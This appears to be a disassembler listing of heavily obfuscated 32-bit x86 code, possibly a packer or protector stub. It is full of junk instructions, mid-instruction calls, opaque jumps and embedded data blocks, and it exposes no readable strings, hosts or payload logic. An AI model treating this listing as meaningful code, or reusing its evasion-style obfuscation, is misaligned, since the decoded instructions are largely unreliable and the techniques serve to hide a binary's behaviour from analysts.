; ---------------------------------------------------------------------------
		db 0EDh
		dd 0DF52843Dh
; ---------------------------------------------------------------------------


loc_612BEC:				; CODE XREF: sub_612BC8+1Aj
		js	loc_612BF6
		mov	di, 35F9h


loc_612BF6:				; CODE XREF: sub_612BC8:loc_612BECj
		call	near ptr loc_612C02+1
		sbb	al, 80h
		push	ecx
		cmp	edi, esp
		jp	short near ptr loc_612B80+2


loc_612C02:				; CODE XREF: sub_612BC8:loc_612BF6p
		psubb	mm3, qword ptr [edx+66h]
sub_612BC8	endp ; sp-analysis failed

		mov	edx, 0D6817A5Ah
		jmp	far ptr	0DFB7h:0F355989h
; ---------------------------------------------------------------------------
		dw 870Fh
		dd 6, 8A0Fh, 860F0000h,	7, 1840Fh, 0BFFC0000h, 19146AA8h
		dd 66A7EC80h, 0E952CF8Bh, 10h, 0E86AA911h, 8D5C4687h, 0A4112CDCh
		dd 9CCBC83Ah, 0D7E5805Bh, 369EC8BAh, 0B70F6013h, 0C2BF0FCBh
		dd 13E961h, 51140000h, 7C9921E5h, 20EFCA5Dh, 4032A357h
		dd 9F3A352Ch, 0B5606031h, 0C6F18100h, 6141F143h, 8BF38B61h
		dd 0BE8F1h, 945E0000h, 239AB443h, 0D17684D1h, 59CAB101h
		dd 58F0F51h, 0BF000000h, 0ED5A1E9h, 0F47B658h, 0F50FEBFh
		dd 688h, 0F3E88100h, 59350C14h,	0F3E78160h, 562D0E55h
		dd 615AC68Bh, 0B70FF48Ah, 5AF552C3h, 0FD0BF0Fh,	8B0FC2B7h
		dd 0
; ---------------------------------------------------------------------------
		ja	loc_612CE6
		js	loc_612CE6
		mov	ah, ch


loc_612CE6:				; CODE XREF: sdfs____:00612CD8j
					; sdfs____:00612CDEj
		movzx	edi, ax
		pusha
		mov	al, ch
		popa
		movsx	ecx, cx
		mov	si, 0C7B8h
		movzx	edi, bx
		stc
		mov	ax, si
		mov	edi, eax
		or	cl, 7Ch
		jmp	loc_612D12
; ---------------------------------------------------------------------------
		db 91h,	0BAh, 61h
		dd 24C83D49h, 755FC10h
		db 0BFh, 0E9h
; ---------------------------------------------------------------------------


loc_612D12:				; CODE XREF: sdfs____:00612D00j
		jg	loc_612D19
		cmc


loc_612D19:				; CODE XREF: sdfs____:loc_612D12j
		mov	ecx, esi
		call	near ptr loc_612D31+3

locret_612D20:				; DATA XREF: ___:off_4455E8o
		leave
		lodsb
		pop	edi
		pop	edx
		inc	esp
		outsb
		jl	short loc_612D50
		out	dx, eax
		push	ds
		push	esp
		test	al, 0E9h
		inc	esp
		mov	bh, 70h
		in	al, dx


loc_612D31:				; CODE XREF: sdfs____:00612D1Bp
		call	fword ptr [esp+esi*2+0Fh]
		mov	[ecx], al
; ---------------------------------------------------------------------------
		db 0
		dd 5AFC0000h, 8A0FD38Bh, 19h, 14E9h, 10192F00h
		db 1Bh,	20h
; ---------------------------------------------------------------------------

locret_612D4E:				; CODE XREF: sdfs____:00612D59j
		retn
; ---------------------------------------------------------------------------
		db 11h
; ---------------------------------------------------------------------------


loc_612D50:				; CODE XREF: sdfs____:00612D26j
		push	ecx
		cmp	[eax], dl
		and	[esi-3CF47C1h],	ch
		jnz	short locret_612D4E
		imul	eax, esp, -7Fh
		iret
; ---------------------------------------------------------------------------
		dec	edi
		imul	byte ptr [edx+1Fh]
		and	ecx, 699FB854h
		jmp	loc_612D75
; ---------------------------------------------------------------------------
		dw 87F7h
		dd 1D4981FFh
		db 0DCh
; ---------------------------------------------------------------------------


loc_612D75:				; CODE XREF: sdfs____:00612D69j
		mov	bl, 33h
		jmp	loc_612D87
; ---------------------------------------------------------------------------
		lds	esp, [edi+edi*4]
		sub	al, 2Ah
		xchg	ah, [eax-51h]
		add	[edi+3Fh], ecx


loc_612D87:				; CODE XREF: sdfs____:00612D77j
		call	near ptr loc_612D96+1
		movsb
		inc	ecx
		pop	ds
		mov	eax, ds:0D573B59Dh
		movsd
		inc	ebp


loc_612D96:				; CODE XREF: sdfs____:loc_612D87p
		jmp	dword ptr [esi-7Fh]
; ---------------------------------------------------------------------------
		db 0D7h, 5Eh, 0E6h
; ---------------------------------------------------------------------------
		pop	edi
		mov	dh, 3Eh
		jnz	loc_612DA9
		mov	cx, 2441h


loc_612DA9:				; CODE XREF: sdfs____:00612D9Fj
		mov	bx, si
		mov	cx, si
		ja	loc_612DBA
		mov	esi, 5331C39Ch


loc_612DBA:				; CODE XREF: sdfs____:00612DAFj
		jmp	loc_612DD3
; ---------------------------------------------------------------------------
		db 60h
		dd 84C0F8FEh, 97356337h, 0ABFF9107h, 6DE5AB9h
		db 0AEh, 45h, 0Ah
; ---------------------------------------------------------------------------


loc_612DD3:				; CODE XREF: sdfs____:loc_612DBAj
		mov	esi, 43EC037Eh
		jg	loc_612DF8
		call	sub_612DF2
		dec	edx
		js	short near ptr dword_612E20
		inc	esp
		dec	esi
; ---------------------------------------------------------------------------
		dd 454D8FF0h, 2993C617h
		db 9Bh,	0D9h

; =============== S U B	R O U T	I N E =======================================



sub_612DF2	proc near		; CODE XREF: sdfs____:00612DDEp
		sub	si, 956Dh
		pop	eax


loc_612DF8:				; CODE XREF: sdfs____:00612DD8j
		and	al, 0BDh
		mov	ah, dl
		pusha
		jg	$+6
		mov	ecx, eax
		popa
		pusha
		jmp	loc_612E12
; ---------------------------------------------------------------------------
		db 2, 0A2h, 1Eh
; ---------------------------------------------------------------------------
		sar	ecx, 1


loc_612E12:				; CODE XREF: sub_612DF2+16j
		call	near ptr loc_612E1B+2
		add	byte ptr [edi+3Bh], 0EAh


loc_612E1B:				; CODE XREF: sub_612DF2:loc_612E12p
		sal	dword ptr [esi], 0Fh
sub_612DF2	endp ; sp-analysis failed

		mov	[eax], al
; ---------------------------------------------------------------------------
dword_612E20	dd 59000000h, 3DD58061h, 0D9EE8156h, 5E224CC4h,	81D68B66h
					; CODE XREF: sdfs____:00612DE4j
		dd 0EB348FE9h, 81CA8A64h, 0D7EDCCE0h, 0C8E0F40h, 0F000000h
		dd 686h, 0ACF68100h, 8B7F1FB7h,	51D18BC1h, 5EC18B66h, 13810Fh
		dd 0EE90000h, 0E1000000h, 0EC0C2698h, 76FA4C1Bh, 4F794EBFh
		dd 0FF98BA7h, 8B0FFFB7h, 12h, 0BE8h, 0C29E9700h, 15A65595h
		dd 0F1BA0100h, 60F95AF5h, 0E8CFBF0Fh, 8, 462EB6F2h, 3F27CA05h
		dd 87244FB8h, 66615811h, 48ACF081h, 44AFBE66h, 5F1CB450h
		dd 1860Fh, 50F90000h, 5FD0B70Fh, 0F18B6660h, 8E0Fh, 60610000h
		dd 1840Fh, 0FF90000h, 0E961F8B7h, 8, 2FD0B3h, 3E64669Bh
		dd 9E892B7h, 9F000000h,	0E08E8FDBh, 752FEBF6h, 5E30D680h
		dd 66F92FB6h, 8166DF8Bh, 513F7EC3h, 0DE9h, 194E1F00h, 0A0038E1h
		dd 253B18EEh, 0B6585339h, 5810FB1h, 0BB000000h,	413A76FAh
		dd 81605957h, 4A0480D2h, 0AE96003h, 0D2000000h,	61E00F04h
		dd 5B3F87B7h, 12E93Eh, 93060000h, 0AFD03369h, 0D0F38CF1h
		dd 0EAFDD6EFh, 389F2B33h, 0EFBB6161h, 0B8506CA9h, 0C48655Ch
		dd 9315BB66h, 66F08B66h, 0E3A5D681h, 0CB8B6660h, 61F6D380h
		dd 0B5CE8166h, 0DE96059h, 26000000h, 671AD93Ch,	23A9A814h
		dd 961EA16Eh, 0C7D88166h, 0F38161A0h, 2FB48194h, 0E9F8D38Bh
		dd 5, 614D732Dh, 0C8B70FDAh, 4800Fh, 50530000h,	820F595Bh
		dd 4, 5AF08B51h, 46C88166h, 0F08B75Fh, 2084h, 14E800h
		dd 14700000h, 8010D8F3h, 8FD21EC5h, 3FEFEF1Fh, 3DF16E33h
		dd 800F8FE0h, 0
; ---------------------------------------------------------------------------
		pop	esi
		add	edi, 77A401F8h
		pusha
		adc	esi, 3B421ECh
		adc	di, 1501h
		popa
		call	sub_61300E
		and	al, 1Ch
		retn
; ---------------------------------------------------------------------------
		dd 3629E42Dh
		db 0C4h, 74h

; =============== S U B	R O U T	I N E =======================================



sub_61300E	proc near		; CODE XREF: sdfs____:00613000p
		or	ebx, 76361C05h
		pop	ecx
		push	eax
		call	sub_61302B
		dec	eax
		jecxz	short near ptr loc_613067+1
		les	edx, [bx+57h]
		adc	[ecx+74315BBh],	ch
		dec	ebp
		int	0BCh		; used by BASIC	while in interpreter
sub_61300E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_61302B	proc near		; CODE XREF: sub_61300E+8p
		add	di, 2F63h
		pop	edi
		pop	esi
		jmp	loc_613048
; ---------------------------------------------------------------------------
		db 0AFh
		dd 0C3715E3Dh, 0C3B043B0h, 0A0EEC2E1h, 0D5AED6EEh
; ---------------------------------------------------------------------------


loc_613048:				; CODE XREF: sub_61302B+7j
		movzx	esi, dx
		mov	esi, 7F83C275h
		sub	cx, 26A2h
		call	sub_613069
		sub	[ebp-36h], bh
		pop	dword ptr [edi]
		fld	st(3)
		cwde
		sub	bl, bh
		jecxz	short sub_613075
		leave


loc_613067:				; CODE XREF: sub_61300E+Ej
		cmp	al, 8Ah
sub_61302B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_613069	proc near		; CODE XREF: sub_61302B+2Ap
		jmp	sub_613075
sub_613069	endp

; ---------------------------------------------------------------------------
		dw 2ED5h
		dd 0EE25DEABh
		db 0C1h

; =============== S U B	R O U T	I N E =======================================



sub_613075	proc near		; CODE XREF: sub_61302B+39j
					; sub_613069j
		pop	eax
		call	loc_61308C
		aaa
		mov	eax, [eax+edx-10A9C164h]
		cmp	al, 70h
		cmp	ebx, ds:0C0475186h
		std
sub_613075	endp ; sp-analysis failed



loc_61308C:				; CODE XREF: sub_613075+1p
		jmp	loc_61309B
; ---------------------------------------------------------------------------
		adc	[ebx+23h], eax
		mov	[ebx+4442DD6Dh], ah
		xchg	eax, esi


loc_61309B:				; CODE XREF: sdfs____:loc_61308Cj
		pop	edx
		mov	cx, di
		mov	cx, 0C659h
		push	esi
		mov	dh, 73h
		pop	ecx
		mov	ecx, edi
		mov	ah, 0A4h
		pusha
		mov	edx, edi
		pusha
		push	eax
		pop	eax
		jmp	loc_6130C5
; ---------------------------------------------------------------------------
		enter	0FFFFF53Bh, 29h
		test	[ecx+ebp*8+48h], edx
		add	[edx], esi
		inc	esi
		adc	esi, edi
		aas
		dec	eax


loc_6130C5:				; CODE XREF: sdfs____:006130B1j
		popa
		popa
		mov	ax, bx
		movsx	edx, si
		jmp	loc_6130DC
; ---------------------------------------------------------------------------
		cwde
		retf	3DCh
; ---------------------------------------------------------------------------
		dw 9E27h
		dd 0B03D4152h
; ---------------------------------------------------------------------------


loc_6130DC:				; CODE XREF: sdfs____:006130CDj
		jle	$+6
		pusha
		mov	edx, 1D5F7038h
		jmp	loc_613100
; ---------------------------------------------------------------------------
		db 9Bh,	34h, 0E3h
		dd 0A46B1316h, 0DB79B2C4h, 53926B91h, 6083085Ch
; ---------------------------------------------------------------------------


loc_613100:				; CODE XREF: sdfs____:006130E8j
		popa
		jmp	loc_61311A
; ---------------------------------------------------------------------------
		dw 0A734h
		dd 0DBFD6126h, 0F0450C55h, 0F4DCB5FCh, 4914D6E4h
		db 4Ah,	5
; ---------------------------------------------------------------------------


loc_61311A:				; CODE XREF: sdfs____:00613101j
		jmp	loc_613124
; ---------------------------------------------------------------------------
		db 0F1h
		dd 0F35CBFFh
; ---------------------------------------------------------------------------


loc_613124:				; CODE XREF: sdfs____:loc_61311Aj
		xor	ecx, 16047F34h
		and	eax, 3BD2D365h
		mov	ecx, 4E1B8449h
		clc
		clc
		ja	loc_61313E
		cld


loc_61313E:				; CODE XREF: sdfs____:00613137j
		mov	cx, si
		xor	al, 9Ah
		mov	eax, 1342E6EBh
		call	near ptr sub_613159
; ---------------------------------------------------------------------------
		dw 0B38Fh
		dd 4E134B0Ch, 742BEA45h
		db 0EAh

; =============== S U B	R O U T	I N E =======================================



sub_613159	proc far		; CODE XREF: sdfs____:00613149p
		sbb	ecx, 4BF78E3Eh
		pop	ecx
		mov	esi, ebx
		mov	ecx, 637C960h
		mov	ebx, 3882B83Eh
		jl	loc_613174
		push	edx
		pop	ecx


loc_613174:				; CODE XREF: sub_613159+13j
		jge	loc_613180
		xor	ecx, 13773C8Ch


loc_613180:				; CODE XREF: sub_613159:loc_613174j
		jmp	loc_613190
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 0EC52h
		dd 17CA55E1h, 0EDB797E5h
; ---------------------------------------------------------------------------


loc_613190:				; CODE XREF: sub_613159:loc_613180j
		mov	di, 9476h
		mov	eax, ecx
		and	si, 2065h
		movzx	edx, di
		xor	edi, 24F4FCD8h
		jle	loc_6131AF
		adc	di, 9B25h


loc_6131AF:				; CODE XREF: sub_613159+4Bj
		jmp	loc_6131BD
; ---------------------------------------------------------------------------
		enter	0FFFFDAA5h, 0A1h
		push	edx
		cli
		cmp	al, 2Dh
		pop	ss


loc_6131BD:				; CODE XREF: sub_613159:loc_6131AFj
		mov	dx, 90D0h
		and	ecx, 4F085878h
		cmc
		mov	edx, ecx
		push	ebx
		mov	ecx, 0CFCCFB0h
		pop	ebx
		and	eax, 6BA7A8ACh
		mov	cx, 0FEA7h
		add	bh, 0D8h
		pusha
		mov	edx, ecx
		and	edx, 7E545529h
		popa
		mov	dh, 41h
		push	ebx
		mov	ecx, 1333E162h
		pop	edi
		movzx	ebx, di
		mov	dx, 44CCh
		jge	loc_613203
		push	edx
		mov	dx, cx
		pop	eax


loc_613203:				; CODE XREF: sub_613159+9Fj
		call	sub_613214
		setalc
		lds	edx, [esi+esi*4]
		dec	eax
		les	edx, [esi-4DE6CE34h]
		cld
sub_613159	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_613214	proc near		; CODE XREF: sub_613159:loc_613203p
		pop	edx
		push	eax
		mov	edx, ebx
		pop	ecx
		adc	ecx, 11337300h
		push	edx
		movzx	eax, cx
		pop	ecx
		sbb	ax, 0FF0Ah
		mov	dx, 0ACFCh
		jmp	loc_613243
; ---------------------------------------------------------------------------
		dw 0CCB5h
		dd 27CF5B1Eh, 0EC42F5EAh, 74D173F1h
		db 8, 8Bh, 0F7h
; ---------------------------------------------------------------------------


loc_613243:				; CODE XREF: sub_613214+19j
		jp	loc_61324B
		mov	ecx, edx


loc_61324B:				; CODE XREF: sub_613214:loc_613243j
		xor	eax, 5EB035A8h
		jb	loc_613258
		stc


loc_613258:				; CODE XREF: sub_613214+3Dj
		call	near ptr loc_61325E+5
		icebp


loc_61325E:				; CODE XREF: sub_613214:loc_613258p
		db	3Eh
		rcr	dword ptr [ecx-41997D34h], 1
sub_613214	endp ; sp-analysis failed

		out	5Fh, al
		pop	eax
		mov	di, dx
		push	eax
		movsx	edx, cx
		pop	eax
		add	ah, 9
		sbb	edx, 7DC339FFh
		stc
		mov	ebx, 604B795Dh
		jb	loc_613288
		sbb	ch, 0F6h


loc_613288:				; CODE XREF: sdfs____:0061327Fj
		jmp	loc_613297
; ---------------------------------------------------------------------------
		db 37h,	0EAh, 0A5h
		dd 0A9904EA4h
		db 3Bh,	0E4h, 6Fh
; ---------------------------------------------------------------------------


loc_613297:				; CODE XREF: sdfs____:loc_613288j
		adc	cx, 3506h
		ja	loc_6132A3
		stc


loc_6132A3:				; CODE XREF: sdfs____:0061329Cj
		mov	esi, edi
		mov	di, si
		sub	ax, 6393h
		mov	edx, eax
		ja	$+6
		and	bh, 0FCh
		mov	dx, bx
		and	ax, 840Dh
		sbb	ebx, 0CCC346Dh
		mov	edi, 111A8BE7h
		movzx	edi, di
		or	dl, 39h
		push	ebx
		js	loc_6132E8
		jmp	loc_6132E8
; ---------------------------------------------------------------------------
		db 5Ch,	0EDh, 0C1h
		dd 501A18D7h, 0C1DF1BBDh
; ---------------------------------------------------------------------------


loc_6132E8:				; CODE XREF: sdfs____:006132D2j
					; sdfs____:006132D8j
		pop	edi
		xor	esi, 3F7667E6h
		push	ecx
		mov	edx, ebx
		pop	esi
		call	sub_61330C
		xchg	dh, [ebx]
		xchg	ebp, [ebx-48C9A51Fh]
		inc	edx
		cmpsb
; ---------------------------------------------------------------------------
		dw 0E4C4h
		dd 0C7203F66h, 701B4057h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_61330C	proc near		; CODE XREF: sdfs____:006132F3p
		jmp	sub_613318
sub_61330C	endp

; ---------------------------------------------------------------------------
		db 0BDh, 0B5h, 13h
		dd 77F34130h

; =============== S U B	R O U T	I N E =======================================



sub_613318	proc near		; CODE XREF: sub_61330Cj
		pop	eax
		call	sub_613329
		fbstp	tbyte ptr [edx]
		inc	esp
		push	es
		and	al, 0C6h
		push	edx
		cdq
		iret
sub_613318	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cmc
		xchg	eax, ebp

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_613329	proc near		; CODE XREF: sub_613318+1p
		jmp	sub_61333B
sub_613329	endp

; ---------------------------------------------------------------------------
		dw 4395h
		dd 1B2A3B87h, 8C92392h
		db 46h,	0CFh, 0D8h

; =============== S U B	R O U T	I N E =======================================



sub_61333B	proc near		; CODE XREF: sub_613329j
		pop	eax
		ja	loc_613359
		jmp	loc_613359
; ---------------------------------------------------------------------------
		db 70h
		dd 0D3405F32h, 0D17753DBh, 51467290h, 2E70A987h
		db 0D8h
; ---------------------------------------------------------------------------


loc_613359:				; CODE XREF: sub_61333B+1j
					; sub_61333B+7j
		jno	loc_61336D
		jmp	loc_61336D
; ---------------------------------------------------------------------------
		dd 6D5272C4h, 0DF537B6h
; ---------------------------------------------------------------------------
		stosb


loc_61336D:				; CODE XREF: sub_61333B:loc_613359j
					; sub_61333B+24j
		mov	bl, 41h
		add	esi, 1C8D036Dh
		mov	di, 88BEh
		jmp	loc_613385
; ---------------------------------------------------------------------------
		dw 711Ch
		dd 8D769851h
; ---------------------------------------------------------------------------
		pop	esi


loc_613385:				; CODE XREF: sub_61333B+3Ej
		jmp	loc_613390
; ---------------------------------------------------------------------------
		dw 3BABh
		dd 4D3DECCEh
; ---------------------------------------------------------------------------


loc_613390:				; CODE XREF: sub_61333B:loc_613385j
		pusha
		mov	edi, eax
		mov	edx, 70A87EFCh
		popa
		adc	dl, 8Bh
		jmp	loc_6133B3
; ---------------------------------------------------------------------------
		db 0Fh,	0A3h, 0AAh
		dd 0A0637402h, 8D71404Dh, 4D0CDD1Fh
		db 74h,	84h, 0EBh
; ---------------------------------------------------------------------------


loc_6133B3:				; CODE XREF: sub_61333B+61j
		mov	cx, bx


loc_6133B6:				; CODE XREF: sub_61333B+CEj
		sbb	bx, 9AECh
		jmp	loc_6133D3
; ---------------------------------------------------------------------------
		dd 0D52F4BE8h, 0E2CA339h, 936BA091h, 647E7BCh
		db 75h,	45h, 0Fh
; ---------------------------------------------------------------------------


loc_6133D3:				; CODE XREF: sub_61333B+80j
		mov	cx, dx
		jmp	loc_6133E7
; ---------------------------------------------------------------------------
		db 0A3h
; ---------------------------------------------------------------------------
		retn	0E528h
; ---------------------------------------------------------------------------
		db 2
		dd 0E534415h
		db 0AEh, 0FDh, 72h
; ---------------------------------------------------------------------------


loc_6133E7:				; CODE XREF: sub_61333B+9Bj
		push	ebx
		cmc
		pop	edx
		mov	edx, 6E68B91Fh
		and	edx, 390AC19Ch
		stc


loc_6133F6:				; CODE XREF: sub_61333B+D5j
		xor	al, 0A6h
		mov	si, 8166h
		or	esi, 2384A8Bh
		call	sub_613412
		lahf
		jb	short loc_6133B6
		loop	near ptr loc_613420+1
		in	eax, 0B6h	; Interrupt Controller #2, 8259A
		aas
		jo	short loc_6133F6
sub_61333B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_613412	proc near		; CODE XREF: sub_61333B+C8p

; FUNCTION CHUNK AT 00613533 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0061355C SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00613595 SIZE 0000003E BYTES

		pusha
		mov	di, 0A351h
		popa
		pop	ebx
		mov	si, ax
		mov	dx, 40C4h


loc_613420:				; CODE XREF: sub_61333B+D0j
		mov	edi, 7EC969D7h
		pusha
		jge	loc_61342F
		sub	cl, 46h


loc_61342F:				; CODE XREF: sub_613412+14j
		popa
		mov	ecx, ebx
		sub	ch, 0A7h
		sbb	ax, 5E45h
		mov	al, 0D1h
		mov	ecx, 6393361Dh
		sbb	al, 38h
		push	ebx
		sub	bx, 365h
		pop	edi
		jmp	loc_613456
; ---------------------------------------------------------------------------
		mov	al, ds:0B857CF8Bh
		cwde


loc_613456:				; CODE XREF: sub_613412+39j
		push	esi
		pop	ebx
		cld
		mov	edi, eax
		cmc
		adc	ah, 0E4h
		jmp	loc_613475
; ---------------------------------------------------------------------------
		dd 7BA4C058h, 0DAF57279h, 0D1855491h, 6BAF6AF6h
		db 0E0h
; ---------------------------------------------------------------------------


loc_613475:				; CODE XREF: sub_613412+4Dj
		mov	dx, di
		pusha
		jmp	loc_613485
; ---------------------------------------------------------------------------
		rcl	byte ptr [edx+ecx+0Ah],	1
		pusha
		retn
; ---------------------------------------------------------------------------
		db 0D1h
; ---------------------------------------------------------------------------


loc_613485:				; CODE XREF: sub_613412+67j
		pusha
		mov	si, bx
		popa
		popa
		mov	bl, 0D6h
		movzx	ebx, dx
		cld
		stc
		mov	bx, ax
		mov	eax, edx
		jmp	loc_6134A6
; ---------------------------------------------------------------------------
		dd 0CB5798E8h, 905E7ACDh
		db 99h,	3Dh
; ---------------------------------------------------------------------------


loc_6134A6:				; CODE XREF: sub_613412+85j
		jmp	loc_6134B4
; ---------------------------------------------------------------------------
		db 0EAh
; ---------------------------------------------------------------------------
		adc	al, 0ADh
		adc	[ebx-0BF0A79Fh], ebx


loc_6134B4:				; CODE XREF: sub_613412:loc_6134A6j
		jz	loc_6134BD
		mov	dx, di


loc_6134BD:				; CODE XREF: sub_613412:loc_6134B4j
		call	near ptr loc_6134D4+1
		or	eax, 50DF2465h
		dec	eax
		scasb
		xlat
		fild	qword ptr ds:0CC569D88h
		jno	short loc_613533
		setalc
		dec	edi


loc_6134D4:				; CODE XREF: sub_613412:loc_6134BDp
		cmp	al, [ecx-781D92Dh]
sub_613412	endp ; sp-analysis failed

		jz	short near ptr loc_613533+2
		mov	ax, dx
		mov	cx, 0CE6Bh
		mov	eax, 1900A73h
		jge	loc_6134F0
		mov	cl, 9Fh


loc_6134F0:				; CODE XREF: sdfs____:006134E8j
		push	edx
		mov	bx, 2D4Fh
		pop	edx
		call	sub_61350E
		jmp	near ptr 0B46B2602h
; ---------------------------------------------------------------------------
		dd 78708398h, 0E7DE9D80h, 0C8C1C4C9h
		db 0B8h, 3

; =============== S U B	R O U T	I N E =======================================



sub_61350E	proc near		; CODE XREF: sdfs____:006134F6p
		jz	loc_613519
		sbb	ax, 8BE3h


loc_613519:				; CODE XREF: sub_61350Ej
		pop	ecx
		mov	di, ax
		mov	ah, dh
		jmp	loc_61352E
; ---------------------------------------------------------------------------
		dd 539721BBh, 1C870B3h
; ---------------------------------------------------------------------------
		mov	dl, 74h


loc_61352E:				; CODE XREF: sub_61350E+11j
		call	sub_613547
sub_61350E	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_613412


loc_613533:				; CODE XREF: sub_613412+BEj
					; sdfs____:006134DAj
		adc	ds:71FB26D1h, edx
		jbe	short loc_61353F
		arpl	[eax], si
		jno	short loc_61355C


loc_61353F:				; CODE XREF: sub_613412+127j
		xor	al, 3Dh
; END OF FUNCTION CHUNK	FOR sub_613412
; ---------------------------------------------------------------------------
		db 0C5h, 0C9h, 0Ah
		db 6Dh,	0DEh, 0B7h

; =============== S U B	R O U T	I N E =======================================



sub_613547	proc near		; CODE XREF: sub_61350E:loc_61352Ep
		mov	dh, ah
		pop	edx
		mov	esi, 5EB11219h
		jmp	near ptr loc_613560+3
sub_613547	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 339D7F8Ah, 0C11113C4h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_613412


loc_61355C:				; CODE XREF: sub_613412+12Bj
		xchg	eax, ebx
		rcl	dl, cl
		sti


loc_613560:				; CODE XREF: sub_613547+8j
		or	eax, 0E78A7FE0h
		pusha
		and	si, 0C94Dh
		jbe	loc_613573
		mov	dh, 7Dh


loc_613573:				; CODE XREF: sub_613412+159j
		popa
		or	ah, 58h
		push	esi
		pusha
		mov	esi, ebx
		and	bh, 0DEh
		popa
		pop	edx
		cmc
		push	ecx
		push	eax
		jmp	loc_613595
; END OF FUNCTION CHUNK	FOR sub_613412
; ---------------------------------------------------------------------------
		dd 6DFA2D31h, 0E226968Eh, 917CAD41h
; ---------------------------------------------------------------------------
		push	es
; START	OF FUNCTION CHUNK FOR sub_613412


loc_613595:				; CODE XREF: sub_613412+171j
		pop	eax
		pop	edx
		adc	edi, 165C66B1h
		cmc
		cld
		and	bl, 8Dh
		push	edx
		pusha
		push	edi
		pop	eax
		sub	ebx, 76C31F5Eh
		popa
		pop	eax
		mov	al, 4Ch
		pusha
		cld
		cld
		popa
		movsx	esi, dx
		mov	esi, 21E23CB9h
		mov	cx, bx
		mov	bx, cx
		pusha
		mov	ecx, ebx
		popa
		call	sub_6135D3
		pop	ds
		push	ebx
		sti
		sub	al, 26h
		test	al, 0BBh
		pop	edx
; END OF FUNCTION CHUNK	FOR sub_613412

; =============== S U B	R O U T	I N E =======================================



sub_6135D3	proc near		; CODE XREF: sub_613412+1B4p
		mov	dx, ax
		pop	edx
		jmp	loc_6135EF
; ---------------------------------------------------------------------------
		dd 454D8FF0h, 2993C617h, 8BBFD99Bh, 2831ED8Ch
		db 4Ah,	3Eh, 74h
; ---------------------------------------------------------------------------


loc_6135EF:				; CODE XREF: sub_6135D3+4j
		jo	loc_6135FC
		jns	loc_6135FC
		cmc


loc_6135FC:				; CODE XREF: sub_6135D3:loc_6135EFj
					; sub_6135D3+22j
		add	cl, 0A6h
		jge	loc_61360C
		jbe	loc_61360C


loc_61360B:				; CODE XREF: sub_6135D3+92j
		clc


loc_61360C:				; CODE XREF: sub_6135D3+2Cj
					; sub_6135D3+32j ...
		mov	cl, 0ACh
		jnz	loc_613618
		mov	ax, 0DB6Ch


loc_613618:				; CODE XREF: sub_6135D3+3Bj
		jmp	loc_613626
; ---------------------------------------------------------------------------
		db 0E3h, 6, 19h
		dd 0DDA422A9h
		db 0F3h, 0B3h
; ---------------------------------------------------------------------------


loc_613626:				; CODE XREF: sub_6135D3:loc_613618j
		mov	si, 18F5h
		mov	di, 8684h
		ja	loc_613638
		push	ebx
		mov	ecx, eax
		pop	esi


loc_613638:				; CODE XREF: sub_6135D3+5Bj
		jmp	loc_61364C
; ---------------------------------------------------------------------------
		db 0EAh, 0DAh, 90h
		dd 9EA1EEC5h, 0E9BA49A4h, 0BD7F6A66h
; ---------------------------------------------------------------------------


loc_61364C:				; CODE XREF: sub_6135D3:loc_613638j
		pusha
		mov	ecx, 63458AB3h
		popa
		pusha
		xor	eax, 1FCFCF5Ah
		call	sub_613671
		aas
		push	ecx
		jle	short loc_61360C
		sub	ecx, eax
		jnp	short loc_61360B
		push	esp
		scasb
		imul	esi, [ecx], 7Eh
		mov	[ebp+38h], esp
		inc	esp
		push	esp
sub_6135D3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_613671	proc near		; CODE XREF: sub_6135D3+87p
		sbb	eax, 226D8FEEh
		pop	eax
		popa
		sub	bl, 75h
		call	near ptr loc_613682+4
		xchg	eax, edx


loc_613682:				; CODE XREF: sub_613671+Bp
		mov	edx, 66FF5264h
sub_613671	endp ; sp-analysis failed

		mov	esi, 665AFFA2h
		adc	edi, 816658D7h
		fild	dword ptr [ecx+edi*8]
		jmp	loc_6136A7
; ---------------------------------------------------------------------------
		dw 1138h
; ---------------------------------------------------------------------------
		clc
		sbb	eax, 485BA135h


loc_6136A2:				; CODE XREF: sdfs____:loc_6136A2j
		jnb	short loc_6136A2
; ---------------------------------------------------------------------------
		db 29h,	98h, 0DEh
; ---------------------------------------------------------------------------


loc_6136A7:				; CODE XREF: sdfs____:00613695j
		jmp	loc_6136C0
; ---------------------------------------------------------------------------
		dd 1110EFBAh, 0A8132D00h, 5402CA3Eh, 707CD6BCh,	362C6BFBh
; ---------------------------------------------------------------------------


loc_6136C0:				; CODE XREF: sdfs____:loc_6136A7j
		mov	ecx, esi
		cmc
		pusha
		or	ebx, 7B954FDAh
		call	near ptr loc_6136DA+2
		or	byte ptr [ebp-7CC47148h], 0A5h
		and	ecx, [edx-59h]
		insb


loc_6136DA:				; CODE XREF: sdfs____:006136CAp
		sbb	bh, [ebx+ecx*4]
		mov	byte ptr [ebx+61h], 0Fh
		mov	al, [eax+eax]
; ---------------------------------------------------------------------------
		dd 0BA660000h, 0E95268A6h, 0Dh,	2F427687h, 0CF94BA22h
		dd 2FBC9BC6h, 0DE8158FCh, 45F3B88Bh, 66C2B70Fh,	8B1294BAh
		dd 0BF0F56CAh, 81665FC8h, 0E8CC68F6h, 0Eh, 0F9DE9706h
		dd 0F5913D68h, 81096447h, 10E90833h, 0CD000000h, 99905E7Ah
		dd 1292983Dh, 6F8EA4E5h, 5AA5B5B7h, 0FFAED80h, 48Bh, 0D8BF6600h
		dd 11E8CCh, 0B5740000h,	2D3A7344h, 6D64EBF5h, 725AA548h
		dd 8169AF18h, 371C65EBh, 81665F44h, 6667FAD0h, 510B96BEh
		dd 5E9h, 0A87A3F00h, 815E9F9Fh,	0FBFDD2E9h, 7E84Dh, 9D660000h
